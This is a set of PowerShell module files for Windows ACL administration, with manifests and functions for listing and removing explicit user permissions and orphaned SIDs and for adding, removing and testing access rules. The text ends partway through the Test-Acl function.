# Minimum version of the Windows PowerShell host required by this module
# PowerShellHostVersion = ''
# Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only.
# DotNetFrameworkVersion = ''
# Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only.
# CLRVersion = ''
# Processor architecture (None, X86, Amd64) required by this module
# ProcessorArchitecture = ''
# Modules that must be imported into the global environment prior to importing this module
# RequiredModules = @()
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @()
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
# ScriptsToProcess = @()
# Type files (.ps1xml) to be loaded when importing this module
# TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
# FormatsToProcess = @()
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
# NestedModules = @()
# Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export.
FunctionsToExport = 'Get-ExplicitUserPermission', 'Remove-ExplicitUserPermission',
'Get-OrphanedAce', 'Remove-OrphanedAce'
# Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export.
CmdletsToExport = @()
# Variables to export from this module
# VariablesToExport = @()
# Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export.
AliasesToExport = @()
# DSC resources to export from this module
# DscResourcesToExport = @()
# List of all modules packaged with this module
# ModuleList = @()
# List of all files packaged with this module
# FileList = @()
# Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell.
PrivateData = @{
PSData = @{
# Tags applied to this module. These help with module discovery in online galleries.
# Tags = @()
# A URL to the license for this module.
# LicenseUri = ''
# A URL to the main website for this project.
# ProjectUri = ''
# A URL to an icon representing this module.
# IconUri = ''
# ReleaseNotes of this module
ReleaseNotes = 'Clean up in module files after psscriptanalyzer noticed an error'
# External dependent modules of this module
# ExternalModuleDependencies = ''
} # End of PSData hashtable
} # End of PrivateData hashtable
# HelpInfo URI of this module
# HelpInfoURI = ''
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
}
|
ACLCleanup.psm1 | ACLCleanup-1.0.1 | #Requires -version 3
<#
#############
Created By:
Robert Amartinesei
Email feedback to:
[email protected]
Disclaimer: These scripts are provided in good faith and with no warranty as to their fitness of purpose. Use this software at your own risk.
The author accepts no liabiliy for any losses or damages resulting from the use thereof.
#>
#####################################################################################################################################################################
#Helper Functions
Function ProcessNextItem {
$PathName = $_.FullName
$Acl = Get-ACL -Path $PathName
if ($IncludeInherited) {
$AccessObjects = $Acl.access
}else {
$AccessObjects = $Acl.access | Where-Object -FilterScript {$_.isinherited -eq $false}
}
Write-Verbose -Message "Checking $PathName"
foreach ($ref in $AccessObjects) {
$Username = $ref.IdentityReference #-replace ".+\\"
Write-Verbose "trying $SamAccountName"
if ($Username -in $Allusers) {
$props = [Ordered]@{
'Username' = "$Username"
'IsInherited' = $ref.IsInherited #bool
'Path' = $PathName #Fullname of path searched.
}
New-Object -TypeName psobject -Property $props
}
}
}
Function ProcessNextOrphanedItem {
$PathName = $_.FullName
$Acl = Get-ACL -Path $PathName
if ($IncludeInherited) {
$AccessObjects = $Acl.access
}else {
$AccessObjects = $Acl.access | Where-Object -FilterScript {$_.isinherited -eq $false}
}
Write-Verbose -Message "Checking $PathName"
foreach ($ref in $AccessObjects) {
$SIDPattern = "^S-\d-\d+-(\d+-){1,14}\d+$"
$ACEName = $ref.IdentityReference.value
Write-Verbose "trying $SamAccountName"
if ($ACEName -match $SIDPattern) {
$props = [Ordered]@{
'SID' = $ACEName
'IsInherited' = $ref.IsInherited #bool
'Path' = $PathName #Fullname of path searched.
}
New-Object -TypeName psobject -Property $props
}
}
}
#Help Functions End
Function Get-ExplicitUserPermission {
<#
.Synopsis
Find user ACE in ACLs
.DESCRIPTION
This function will help you find entries in ACLs where a user has been set instead of a group which is generally considered best practice.
You can find ACE that has been explicitly set or include inherited ones. You can also return files/directories only based on your needs with the respective parameter.
Use this function to clean your filestructure.
.EXAMPLE
PS> Get-ExplicitUserPermission -username (get-aduser -filter *).samaccountname
Username IsInherited Path
-------------- ----------- ----
ITM\Robama False C:\users\RObama\play2\xml.xml
This command checks every directory and file in the current path after a match in the domain. Since I am running this as a member of the domain I don't have to specify the parameter Userdomain
.EXAMPLE
PS> Get-ExplicitUserPermission -username "Robama"
Username IsInherited Path
-------------- ----------- ----
ITM\Robama False C:\users\RObama\play2\xml.xml
Same as above but searching for a specific match.
.EXAMPLE
PS> Get-ExplicitUserPermission -Username (get-aduser -filter *).samaccountname -Path .\folder1\ -SingleItem
Username IsInherited Path
-------- ----------- ----
ITM\robama False C:\users\RObama\folder1\
Gets explicit permission for every user in the domain on the specific path.
.OUTPUTS
PSCustom Object
SamAccountName IsInherited Name Path
-------------- ----------- ---- ----
robama False Robert Amartinesei C:\Users\Robama\Desktop
.NOTES
Created by Robert Amartinesei
2017-01-20
Disclaimer: These scripts are provided in good faith and with no warranty as to their fitness of purpose. Use this software at your own risk. The author accepts no liabiliy for any losses or damages resulting from the use thereof.
#>
[Cmdletbinding(DefaultParametersetName="MultipleMode")]
Param (
#Supply a valid path, either locally or UNC.
[ValidateScript({Test-Path $_})]
[String]$Path = $pwd,
#A comma separated list of samaccountNames from your AD or localcomputer
[Parameter(Mandatory,ValueFromPipelineByPropertyName,Helpmessage="Please provide a samaccountname from your domain or local computer")]
[Alias('SamAccountName')]
[String[]]$Username,
#This parameter will include Inherited permissions as part of the Functions Output.
[Switch]$IncludeInherited,
[Parameter(Parametersetname="MultipleMode")]
#Search recursively throught the file tree relative to the -Path parameter. Cannot be used with -SingleItem
[Switch]$Recurse,
[Parameter(Parametersetname="SingleMode")]
#Tells the function to get the ACL of the path specified. Cannot be used with -Recurse
[Switch]$SingleItem,
[Parameter(Parametersetname="MultipleMode")]
#Return only objects of the type directory.
[Switch]$Directory,
[Parameter(Parametersetname="MultipleMode")]
#Return only objects of the type file.
[Switch]$File,
[Alias("Domainname")]
#The userdomain name of your domain. If your domain is corporate.local then your userdomain will probably be corporate. Therefor the default value vill be the userdomain of the user running the script
[ValidateNotNullOrEmpty()]
[String]$Userdomain = $env:USERDOMAIN
)
Process {
$AllUsers = $Username | % {$_.insert(0,"$Userdomain\")}
#$AllUsers
#Uses the function ProcessNextItem based on the presence or abscence of the parameter SingleItem
if ($SingleItem) {
Write-Verbose -Message "SingleMode - Testing specific path $Path"
Get-Item -Path $Path | ForEach-Object {
ProcessNextItem
}
}else {
Write-Verbose -Message "MultipleMode - Testing paths recursively"
Get-ChildItem -Path $Path -Directory:$Directory -file:$file -Recurse:$Recurse | ForEach-Object {
ProcessNextItem
}
}
}
}
Function Remove-ExplicitUserPermission {
<#
.Synopsis
Remove user ACEs from ACLs
.DESCRIPTION
This function will help you remove entries in ACLs where a user has been set instead of a group, which is generally considered best practice.
The functions supports confirm and WhatIf and can also take pipeline input which makes it very easy to use together with Get-ExplicitUserPermission
.EXAMPLE
PS> Get-ExplicitUserPermission -Username Robama -Path C:\Users\Robama\Desktop\subfolder -SingleItem | Remove-ExplicitUserPermission -WhatIf
What if: Performing the operation "Remove "ITM\robama" from ACL" on target "C:\Users\Robama\Desktop\subfolder".
This commands shows you that the functions takes pipeline input and supports the use of "WhatIf"
.EXAMPLE
PS> Get-ExplicitUserPermission -Username Robama | Remove-ExplicitUserPermission -Verbose
Username Path Action
-------- ---- ------
ITM\Robama C:\users\RObama\folder2 Remove
.OUTPUTS
PSCustom Object
Username Path Action
-------- ---- ------
ITM\robama C:\Users\Robama\Desktop\subfolder Remove
.NOTES
Created by Robert Amartinesei
2017-01-20
Disclaimer: These scripts are provided in good faith and with no warranty as to their fitness of purpose. Use this software at your own risk. The author accepts no liabiliy for any losses or damages resulting from the use thereof.
#>
[Cmdletbinding(SupportsShouldProcess)]
Param (
[Parameter(Mandatory,ValueFromPipeline,ValueFromPipelinebyPropertyName)]
[ValidateNotNullOrEmpty()]
#Provide one or more samaccountNames in that exists in your AD. Only specified SamAccountNames will be removed
[String[]]$Username,
[Parameter(Mandatory,ValueFromPipelineByPropertyName)]
#Specify a path to a directory or file where you want ACEs to be removed.
[ValidateScript({Test-Path $_})]
[ValidateNotNullOrEmpty()]
[String]$Path,
[Alias("Domainname")]
#The userdomain name of your domain. If your domain is corporate.local then your userdomain will probably be corporate. Therefor the default value vill be the userdomain of the user running the script
[ValidateNotNullOrEmpty()]
[String]$Userdomain = $env:USERDOMAIN
)
PROCESS {
foreach ($Id in $Username) {
#Check userdomain of incoming variable
if ($Id -replace '\\.+' -ne $Userdomain) {
$Id = $Id -replace '.+\\'
$ACE = "$Userdomain\$Id"
}else {
$ACE = $Id
}
Try {
$ErrorActionPreference = "Stop"
$PerformString = "Remove `"$Ace`" from ACL"
$ACL = Get-Acl -Path $Path
if ($PSCmdlet.ShouldProcess("$Path","$PerformString")){
$ACL.Access | where-object {$_.identityreference -eq $ACE} | foreach {
$ACL.PurgeAccessRules($_.Identityreference)
Set-ACL -Path $Path -AclObject $acl
}
$props = [ordered]@{
'Username' = $ACE
'Path' = $Path
'Action' = "Remove"
}
New-Object -TypeName psobject -Property $props
}
$ErrorActionPreference = "Continue"
}Catch {
Write-Error $Error[0]
#
}
}
}
}
Function Get-OrphanedAce {
<#
.Synopsis
Gets SIDS that are explicitly set in an ACL
.DESCRIPTION
This function will get you the SIDs of any file or folder, Inherited or not. SIDS are often the remains of a user ACE and appears when there isn't any longer a mapping between sid
and user. For example if the user has been deleted.
.EXAMPLE
PS> Get-OrphanedAce
SID IsInherited Path
--- ----------- ----
S-1-5-21-3986840155-3541320725-2334626613-1014 False C:\Users\RObama\play2
S-1-5-21-3986840155-3541320725-2334626613-1014 False C:\Users\RObama\7.txt
This command will list any sid on any directory or file in your current directory.
.EXAMPLE
PS> Get-OrphanedAce -Recurse
SID IsInherited Path
--- ----------- ----
S-1-5-21-3986840155-3541320725-2334626613-1014 False C:\Users\RObama\play2
S-1-5-21-3986840155-3541320725-2334626613-1014 False C:\Users\RObama\7.txt
S-1-15-3-4096 False C:\Users\RObama\Favorites\Bing.url
S-1-5-21-3986840155-3541320725-2334626613-1015 False C:\Users\RObama\play2\xml.xml
This command will recursively list any sid on any directory or file in your current directory and subdirectories/files.
.EXAMPLE
PS> Get-OrphanedAce -Recurse -IncludeInherited
SID IsInherited Path
--- ----------- ----
S-1-5-21-3986840155-3541320725-2334626613-1014 False C:\Users\RObama\play2
S-1-5-21-3986840155-3541320725-2334626613-1014 False C:\Users\RObama\7.txt
S-1-15-3-4096 True C:\Users\RObama\Favorites\Bing.url
S-1-5-21-3986840155-3541320725-2334626613-1015 False C:\Users\RObama\play2\xml.xml
This command will recursively list any sid on any directory or file in your current directory and subdirectories/files and also include inherited ACEs.
.OUTPUTS
PSCustom Object
SID IsInherited Path
--- ----------- ----
S-1-5-21-3986840155-3541320725-2334626613-1014 False C:\Users\RObama\play2
.NOTES
Created by Robert Amartinesei
2017-01-20
Disclaimer: These scripts are provided in good faith and with no warranty as to their fitness of purpose. Use this software at your own risk. The author accepts no liabiliy for any losses or damages resulting from the use thereof.
#>
[Cmdletbinding(DefaultParametersetName="MultipleMode")]
Param (
#Supply a valid path, either local or UNC
[ValidateScript({Test-Path $_})]
$Path = $pwd,
#Includes inherited ACEs
[Switch]$IncludeInherited,
[Parameter(Parametersetname="MultipleMode")]
#Will search recursively relative to the Path parameter
[Switch]$Recurse,
[Parameter(Parametersetname="SingleMode")]
#Indicates that the function should only list the ACL for the specified path
[Switch]$SingleItem,
[Parameter(Parametersetname="MultipleMode")]
#Shows only directories
[Switch]$Directory,
[Parameter(Parametersetname="MultipleMode")]
#Shows only files
[Switch]$File
)
#Uses the function ProcessNextOrphanedItem based on the presence or abscence of the parameter SingleItem
if ($SingleItem) {
Write-Verbose -Message "SingleMode - Testing specific path $Path"
Get-Item -Path $Path | ForEach-Object {
ProcessNextOrphanedItem
}
}else {
Write-Verbose -Message "MultipleMode - Testing paths recursively"
Get-ChildItem -Path $Path -Directory:$Directory -file:$file -Recurse:$Recurse | ForEach-Object {
ProcessNextOrphanedItem
}
}
}
Function Remove-OrphanedAce {
<#
.Synopsis
Removes SIDS that are explicitly set in an ACL
.DESCRIPTION
This function will remove the SIDs of any file or folder, Inherited or not. SIDS are often the remains of a user ACE and appears when there isn't any longer a mapping between sid
and user. For example if the user has been deleted.
Use this function preferrably with the Get-OrphanedAce function
.EXAMPLE
PS> Get-OrphanedAce | Remove-OrphanedAce -whatif
What if: Performing the operation "Remove "S-1-5-21-3986840155-3541320725-2334626613-1014" from ACL" on target "C:\users\robama\play2".
What if: Performing the operation "Remove "S-1-5-21-3986840155-3541320725-2334626613-1014" from ACL" on target "C:\users\robama\7.txt".
Pipes the object from Get-OrphanedAce to Remove-Orphaned and uses that whatif statement.
.EXAMPLE
PS> Get-OrphanedAce | Remove-OrphanedAce -Verbose
VERBOSE: Performing the operation "Remove "S-1-5-21-3986840155-3541320725-2334626613-1014" from ACL" on target "C:\users\robama\play2".
VERBOSE: Performing the operation "Remove "S-1-5-21-3986840155-3541320725-2334626613-1014" from ACL" on target "C:\users\robama\7.txt".
SID Path Action
--- ---- ------
S-1-5-21-3986840155-3541320725-2334626613-1014 C:\users\robama\play2 Remove
S-1-5-21-3986840155-3541320725-2334626613-1014 C:\users\robama\7.txt Remove
Pipes the object from Get-OrphanedAce to Remove-Orphaned and uses that Verbose statement.
.OUTPUTS
PSCustom Object
SID Path Action
--- ---- ------
S-1-5-21-3986840155-3541320725-2334626613-1014 C:\users\robama\play2 Remove
.NOTES
Created by Robert Amartinesei
2017-01-20
Disclaimer: These scripts are provided in good faith and with no warranty as to their fitness of purpose. Use this software at your own risk. The author accepts no liabiliy for any losses or damages resulting from the use thereof.
#>
[Cmdletbinding(SupportsShouldProcess)]
Param (
[Parameter(Mandatory,ValueFromPipeline,ValueFromPipelinebyPropertyName)]
[ValidateNotNullOrEmpty()]
[String[]]$SID,
[Parameter(Mandatory,ValueFromPipelineByPropertyName)]
[ValidateNotNullOrEmpty()]
[ValidateScript({Test-Path $_})]
[String]$Path
)
PROCESS {
foreach ($Id in $SID) {
$ACE = "$Id"
Try {
$ErrorActionPreference = "Stop"
$PerformString = "Remove `"$ACE`" from ACL"
if ($PSCmdlet.ShouldProcess("$Path","$PerformString")){
$ACL = get-acl -Path $Path
#CHANGE SID PATTERN TO ID
$ACL.Access | where-object {$_.identityreference -eq $ID} | foreach {
$ACL.PurgeAccessRules($_.Identityreference)
Set-ACL -Path $Path -AclObject $acl
}
$props = [ordered]@{
'SID' = $ACE
'Path' = $Path
'Action' = "Remove"
}
New-Object -TypeName psobject -Property $props
}
#cmd /C "icacls `"$Path`" /Remove `"$ACE`" " | Out-Null
#Custom object
$ErrorActionPreference = "Continue"
}Catch {
Write-Error $Error[0]
#
}
}
}
}
#Export-ModuleMember #-Function "Get-ExplicitUserPermission","Remove-ExplicitUserPermission","Get-OrphanedAce","Remove-OrphanedAce"
|
ACLHelpers.psd1 | ACLHelpers-1.7.0 | #
# Module manifest for module 'Acl Helpers'
#
# Generated by: Rob Leonard
#
# Generated on: 12-10-2016
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'ACLHelpers.psm1'
# Version number of this module.
ModuleVersion = '1.7'
# ID used to uniquely identify this module
GUID = 'a495e151-d931-4c68-b673-4f9b51b51451'
# Author of this module
Author = 'Rob Leonard'
# Company or vendor of this module
CompanyName = 'Unknown'
# Copyright statement for this module
Copyright = '(c) 2016 . All rights reserved.'
# Description of the functionality provided by this module
Description = 'Modules to help work with ACLs (Access Control Rights)'
# Minimum version of the Windows PowerShell engine required by this module
# PowerShellVersion = ''
# Name of the Windows PowerShell host required by this module
# PowerShellHostName = ''
# Minimum version of the Windows PowerShell host required by this module
# PowerShellHostVersion = ''
# Minimum version of Microsoft .NET Framework required by this module
# DotNetFrameworkVersion = ''
# Minimum version of the common language runtime (CLR) required by this module
# CLRVersion = ''
# Processor architecture (None, X86, Amd64) required by this module
# ProcessorArchitecture = ''
# Modules that must be imported into the global environment prior to importing this module
# RequiredModules = @()
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @()
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
# ScriptsToProcess = @()
# Type files (.ps1xml) to be loaded when importing this module
# TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
# FormatsToProcess = @()
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
# NestedModules = @()
# Functions to export from this module
FunctionsToExport = @(
"Add-Acl",
"Remove-Acl",
"Test-Acl",
"Copy-Acl"
)
# Cmdlets to export from this module
CmdletsToExport = '*'
# Variables to export from this module
VariablesToExport = '*'
# Aliases to export from this module
AliasesToExport = '*'
# List of all modules packaged with this module
# ModuleList = @()
# List of all files packaged with this module
# FileList = @()
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
# HelpInfo URI of this module
# HelpInfoURI = ''
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
# Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell.
PrivateData = @{
PSData = @{
# Tags applied to this module. These help with module discovery in online galleries.
Tags = @(
'ACL'
)
# A URL to the license for this module.
# LicenseUri = ''
# A URL to the main website for this project.
# ProjectUri = ''
# A URL to an icon representing this module.
# IconUri = ''
# ReleaseNotes of this module
# ReleaseNotes = ''
} # End of PSData hashtable
} # End of PrivateData hashtable
}
|
ACLHelpers.psm1 | ACLHelpers-1.7.0 |
Set-StrictMode -Version Latest
Enum RuleCompareResult
{
Same
Child
Parent
Different
}
Function Compare-Rule
{
# Sould handle all types https://msdn.microsoft.com/en-us/library/system.security.accesscontrol.accessrule(v=vs.110).aspx
#region Params
[CmdletBinding(DefaultParameterSetName)]
Param
(
[Parameter(Mandatory=$true,Position =0)]
[System.Security.AccessControl.AccessRule]$Rule1,
[Parameter(Mandatory=$true,Position =1)]
[System.Security.AccessControl.AccessRule]$Rule2
)
#endregion
if($Rule1.GetType() -eq $Rule2.GetType() -and $Rule1.IdentityReference.Value -eq $Rule2.IdentityReference.Value -and $Rule1.AccessControlType -eq $Rule2.AccessControlType -and $Rule1.InheritanceFlags -eq $Rule2.InheritanceFlags -and $Rule1.PropagationFlags -eq $Rule2.PropagationFlags -and $Rule1.IsInherited -eq $Rule2.IsInherited)
{
if($Rule1.GetType() -eq [System.Security.AccessControl.FileSystemAccessRule])
{
if($Rule1.FileSystemRights -eq $Rule2.FileSystemRights)
{ return [RuleCompareResult]::Same }
else
{ return [RuleCompareResult]::Different }
}
elseif($Rule1.GetType() -eq [System.Security.AccessControl.RegistryAccessRule])
{
if($Rule1.RegistryRights -eq $Rule2.RegistryRights)
{ return [RuleCompareResult]::Same }
else
{ return [RuleCompareResult]::Different }
}
return [RuleCompareResult]::Different
}
else
{ return [RuleCompareResult]::Different }
}
Function Parse-Enum
{
[CmdletBinding()]
Param
(
[Parameter(Mandatory=$true,Position =0)]
[string[]]$TextInput,
[Parameter(Mandatory=$true,Position =1)]
$DesiredEnum
)
$results = ,@{}
$results.clear()
foreach($string in $TextInput)
{
$Result = $string -as $DesiredEnum
if($Result -eq $null)
{
$options = $DesiredEnum.GetEnumNames() -join ", "
throw "[$string] is not a recognized [$DesiredEnum] value. Allowed options are as follows:`r{$options}"
}
else
{ $results += $Result }
}
$results = $results -ne $null
if($results.Count -eq 1)
{ return $results[0] }
return $results
}
<#
.SYNOPSIS
Adds ACL Entries to Objects.
.DESCRIPTION
Used to simplify ACL setting work. Allows for more natural syntax
.PARAMETER Path
Changes the security descriptor of the specified item.
Enter the path to an item, such as a path to a file or registry key.
.PARAMETER Principal
The user/group principal to be used.
.PARAMETER Rights
The permission(s) the should be used.
.PARAMETER Rules
Pre-set rule(s) that inherits from [System.Security.AccessControl.AccessRule].
.PARAMETER PropagationFlags
Specifies how Access Control Entries (ACEs) are propagated to child objects. These flags are significant only if inheritance flags are present.
.PARAMETER InheritanceFlags
Inheritance flags specify the semantics of inheritance for access control entries (ACEs).
.PARAMETER Inherit
Should the permission be viewed as inherited by child objects.
.PARAMETER Allow
Represents an Allow permission.
.PARAMETER Deny
Represents an Deny permission overrides -Allow.
.EXAMPLE
Add-Acl -Path "c:\temp" -Principal "UserName" -Rights "Read"
Update Folder ACL by username
.EXAMPLE
Add-Acl "HKCU:\Test" $StrSID "ReadKey"
Update Registry ACL by username
.NOTES
#>
Function Add-Acl
{
#region Params
[CmdletBinding(DefaultParameterSetName='ByRights')]
Param
(
[Parameter(Mandatory=$true,Position=0,ValueFromPipeline)]
[Parameter(ParameterSetName = 'ByRules')]
[Parameter(ParameterSetName = 'ByRights')]
[ValidateNotNullOrEmpty()]
[string[]] $Path,
[Parameter(Mandatory=$true, Position=1,ParameterSetName = 'ByRules')]
[ValidateNotNullOrEmpty()]
[System.Security.AccessControl.AccessRule[]]$Rules,
[Parameter(Mandatory=$true, Position=1,ParameterSetName = 'ByRights')]
[ValidateNotNullOrEmpty()]
$Principal,
[Parameter(Mandatory=$true, Position=2,ParameterSetName = 'ByRights')]
[ValidateNotNullOrEmpty()]
[array]$Rights,
#[Parameter(HelpUri='https://msdn.microsoft.com/en-us/library/system.security.accesscontrol.propagationflags(v=vs.110).aspx')]
[Parameter(ParameterSetName = 'ByRights')]
[ValidateNotNullOrEmpty()]
[System.Security.AccessControl.PropagationFlags] $PropagationFlags = "None",
#[Parameter(HelpUri="https://msdn.microsoft.com/en-us/library/system.security.accesscontrol.inheritanceflags(v=vs.110).aspx")]
[Parameter(ParameterSetName = 'ByRights')]
[ValidateNotNullOrEmpty()]
[System.Security.AccessControl.InheritanceFlags] $InheritanceFlags = "ContainerInherit, ObjectInherit",
[Parameter(ParameterSetName = 'ByRights')]
[bool] $Inherit = $true,
[Parameter(ParameterSetName = 'ByRights')]
[switch] $Allow = $true,
[Parameter(ParameterSetName = 'ByRights')]
[switch] $Deny
)
#endregion
Begin
{
$ErrorActionPreference = "Stop"
if($Allow)
{ $ActionVerb ="Allow" }
if($Deny)
{
$Allow = $false
$ActionVerb ="Deny"
}
if($Principal -is [System.String] -and $Principal -notmatch "\\")
{
$Principal = "$env:computername\$Principal"
}
}
Process
{
$ErrorActionPreference = "Stop"
foreach($item in $Path)
{
if(-not (Test-Path $item))
{
Throw "Path [$item] not found"
continue;
}
$Found = $false
$HasWork = $false
$Acl = Get-Acl $item
$Ar=$null
$List=$Rules
if($Rights)
{
if($Rights.count -eq 1 -and $Rights[0].GetType() -eq [string])
{ $List= $Rights[0].Split(",") }
else
{ $List = $Rights }
}
foreach ($i in $List)
{
if($i.GetType() -eq $Acl.AccessRuleType)
{
$Ar= $i
}
else
{
$right = Parse-Enum $i $Acl.AccessRightType
if($Inherit)
{ $Ar = New-Object ($Acl.AccessRuleType)($Principal, $right, $InheritanceFlags, $PropagationFlags, $ActionVerb) }
else
{ $Ar = New-Object ($Acl.AccessRuleType)($Principal, $right, $ActionVerb) }
}
if($Ar)
{
$HasWork = $true
$Acl.AddAccessRule($Ar)
}
}
if($HasWork)
{
Set-Acl $item $Acl
}
}
}
}
Set-Alias aacl Add-Acl
<#
.SYNOPSIS
Removes ACL Entries to Objects.
.DESCRIPTION
Used to simplify ACL removing work. Allows for more natural syntax
.PARAMETER Path
Changes the security descriptor of the specified item.
Enter the path to an item, such as a path to a file or registry key.
.PARAMETER Principal
The user/group principal to be used.
.PARAMETER Rights
The permission(s) the should be used.
.PARAMETER PropagationFlags
Specifies how Access Control Entries (ACEs) are propagated to child objects. These flags are significant only if inheritance flags are present.
.PARAMETER InheritanceFlags
Inheritance flags specify the semantics of inheritance for access control entries (ACEs).
.PARAMETER Inherit
Should the permission be viewed as inherited by child objects.
.PARAMETER Allow
Represents an Allow permission.
.PARAMETER Deny
Represents an Deny permission.
.EXAMPLE
Add-Acl -Path "c:\temp" -Principal "UserName" -Rights "Read"
Update Folder ACL by username
.EXAMPLE
Add-Acl "HKCU:\Test" $StrSID "ReadKey"
Update Registry ACL by username
.NOTES
#>
Function Remove-Acl
{
#region Params
[CmdletBinding(DefaultParameterSetName='ByRights')]
Param
(
[Parameter(Mandatory=$true,Position=0,ValueFromPipeline)]
[Parameter(ParameterSetName = 'ByRules')]
[Parameter(ParameterSetName = 'ByRights')]
[ValidateNotNullOrEmpty()]
[string[]] $Path,
[Parameter(Mandatory=$true, Position=1,ParameterSetName = 'ByRules')]
[ValidateNotNullOrEmpty()]
[System.Security.AccessControl.AccessRule[]]$Rules,
[Parameter(Mandatory=$true, Position=1,ParameterSetName = 'ByRights')]
[ValidateNotNullOrEmpty()]
$Principal,
[Parameter(Mandatory=$true, Position=2,ParameterSetName = 'ByRights')]
[ValidateNotNullOrEmpty()]
[array]$Rights,
[Parameter(ParameterSetName = 'ByRights')]
[ValidateNotNullOrEmpty()]
[System.Security.AccessControl.PropagationFlags] $PropagationFlags = "None",
#[Parameter(HelpUri="https://msdn.microsoft.com/en-us/library/system.security.accesscontrol.inheritanceflags(v=vs.110).aspx")]
[Parameter(ParameterSetName = 'ByRights')]
[ValidateNotNullOrEmpty()]
[System.Security.AccessControl.InheritanceFlags] $InheritanceFlags = "ContainerInherit, ObjectInherit",
[Parameter(ParameterSetName = 'ByRights')]
[bool] $Inherit = $true,
[Parameter(ParameterSetName = 'ByRights')]
[switch] $Allow = $true,
[Parameter(ParameterSetName = 'ByRights')]
[switch] $Deny
)
#endregion
Begin
{
$ErrorActionPreference = "Stop"
if($Allow)
{ $ActionVerb ="Allow" }
if($Deny)
{
$Allow = $false
$ActionVerb ="Deny"
}
$ErrorActionPreference = "Continue"
if($Principal -is [System.Security.Principal.SecurityIdentifier])
{
try
{
$Principal = $Principal.Translate([System.Security.Principal.NTAccount]).Value # | select Name
}
catch [Security.Principal.IdentityNotMappedException]
{
Write-Warning "Can't Translate $Principal"
}
}
elseif($Principal -is [System.String] -and $Principal -notmatch "\\")
{
$Principal = "$env:computername\$Principal"
}
}
Process
{
foreach($item in $Path)
{
if(-not (Test-Path $item))
{
Throw "Path [$item] not found"
continue;
}
$HasWork = $false
$Acl = Get-Acl $item
$List=$Rules
if($PSCmdlet.ParameterSetName -eq 'ByRights')
{
if($Rights.count -eq 1 -and $Rights[0].GetType() -eq [string])
{ $List= $Rights[0].Split(",") }
else
{ $List = $Rights }
foreach ($rule in $Acl.Access | Where-Object {$_.IdentityReference.Value -eq $Principal -and $_.AccessControlType -eq $ActionVerb -and $_.InheritanceFlags -eq $InheritanceFlags -and $_.PropagationFlags -eq $PropagationFlags})
{
$CurrentRightType=$Acl.AccessRightType
$CurrentRights=$rule.($CurrentRightType.Name)
$NewRights = $CurrentRights
foreach($i in $List)
{
$right = parse-enum $i $CurrentRightType
if($CurrentRights -band $i)
{
$NewRights = $NewRights - $I
$HasWork = $true
}
}
if($HasWork)
{
$acl.RemoveAccessRule($rule) | Out-Null
if($NewRights -gt 0 -and $NewRights -ne "Synchronize")
{
$NewRule = New-Object ($Acl.AccessRuleType)($rule.IdentityReference, $NewRights, $rule.InheritanceFlags, $rule.PropagationFlags, $rule.AccessControlType)
$Acl.AddAccessRule($NewRule) | Out-Null
}
}
}
}
elseif($PSCmdlet.ParameterSetName -eq 'ByRules')
{
foreach($ProvidedRule in $List)
{
foreach ($rule in $Acl.Access | Where-Object { (Compare-Rule $_ $ProvidedRule) -eq [RuleCompareResult]::Same})
{
$acl.RemoveAccessRule($rule) | Out-Null
$HasWork = $true
}
}
}
if($HasWork)
{Set-Acl $item $Acl }
else
{
if($PSCmdlet.ParameterSetName -eq 'ByRights')
{ Write-Warning "[$Principal] dosent have [$ActionVerb] [$Rights] access on [$item]" }
elseif($PSCmdlet.ParameterSetName -eq 'ByRules')
{ Write-Warning "Provided rule not found on [$item]" }
}
}
}
}
Set-Alias racl Remove-Acl
<#
.SYNOPSIS
Checks ACL Entries to Objects.
.DESCRIPTION
Used to simplify checking ACL settings. Allows for more natural syntax
.PARAMETER Path
Changes the security descriptor of the specified item.
Enter the path to an item, such as a path to a file or registry key.
.PARAMETER Principal
The user/group principal to be used.
.PARAMETER Rights
The permission(s) the should be used.
.PARAMETER PropagationFlags
Specifies how Access Control Entries (ACEs) are propagated to child objects. These flags are significant only if inheritance flags are present.
.PARAMETER InheritanceFlags
Inheritance flags specify the semantics of inheritance for access control entries (ACEs).
.PARAMETER Inherit
Should the permission be viewed as inherited by child objects.
.PARAMETER Allow
Represents an Allow permission.
.PARAMETER Deny
Represents an Deny permission.
.EXAMPLE
Test-Acl -Path "c:\temp" -Principal "UserName" -Rights "Read"
Update Folder ACL by username
.EXAMPLE
Test-Acl "HKCU:\Test" $StrSID "ReadKey"
Update Registry ACL by username
.NOTES
#>
Function Test-Acl
{
#region Params
[CmdletBinding()]
Param
(
[Parameter(Mandatory=$true,Position=0,ValueFromPipeline)]
[ValidateNotNullOrEmpty()]
$Path,
[Parameter(Mandatory=$true, Position=1)]
[ValidateNotNullOrEmpty()]
$Principal,
[Parameter(Mandatory=$true, Position=2)]
[ValidateNotNullOrEmpty()]
$Rights,
[ValidateNotNullOrEmpty()]
[System.Security.AccessControl.PropagationFlags] $PropagationFlags = "None",
[ValidateNotNullOrEmpty()]
[System.Security.AccessControl.InheritanceFlags] $InheritanceFlags = "ContainerInherit, ObjectInherit",
[bool] $Inherit = $true,
[switch] $Allow = $true,
[switch] $Deny
)
#endregion
Begin
{
$ErrorActionPreference = "Stop"
if($Allow)
{ $ActionVerb ="Allow" }
if($Deny)
{
$Allow = $false
$ActionVerb ="Deny"
}
